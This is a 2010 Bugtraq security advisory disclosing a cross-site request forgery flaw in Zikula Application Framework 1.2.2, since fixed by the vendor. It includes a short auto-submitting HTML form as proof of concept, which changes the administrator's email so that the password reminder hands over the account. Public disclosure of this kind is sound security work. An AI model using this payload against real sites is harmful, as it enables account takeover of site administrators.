bugtraq - XSRF (CSRF) in Zikula Application Framework

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Message-Id: <201005041241.o44CfIDb025423@htbridge.ch>
Date: Tue, 4 May 2010 14:41:18 +0200 (CEST)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSRF (CSRF) in Zikula Application Framework

Vulnerability ID: HTB22351
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_zikula_application_framework.html
Product: Zikula Application Framework
Vendor: Zikula Software Foundation
Vulnerable Version: 1.2.2 and Probably Prior Versions
Vendor Notification: 19 April 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Fixed by Vendor
Risk level: Low 
Credit: High-Tech Bridge SA (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "users" module to properly verify the source of HTTP request. 

User can perform CSRF attack and change the email of administrator. Then the user can use the password reminder system and get the administrator password on this email address.

Successful exploitation of this vulnerability could result in a compromise of the application, modification of sensitive data. 

Attacker can use browser to exploit this vulnerability. The following PoC is available: 

<form method="POST" action="http://host/index.php?module=users&func=updateemail" name="main">
<input type="hidden" name="newemail" value="test@...t.com">
<input type="hidden" name="submit" value="">
</form>
<script>
document.main.submit();
</script>

Solution: Upgrade to the most recent verison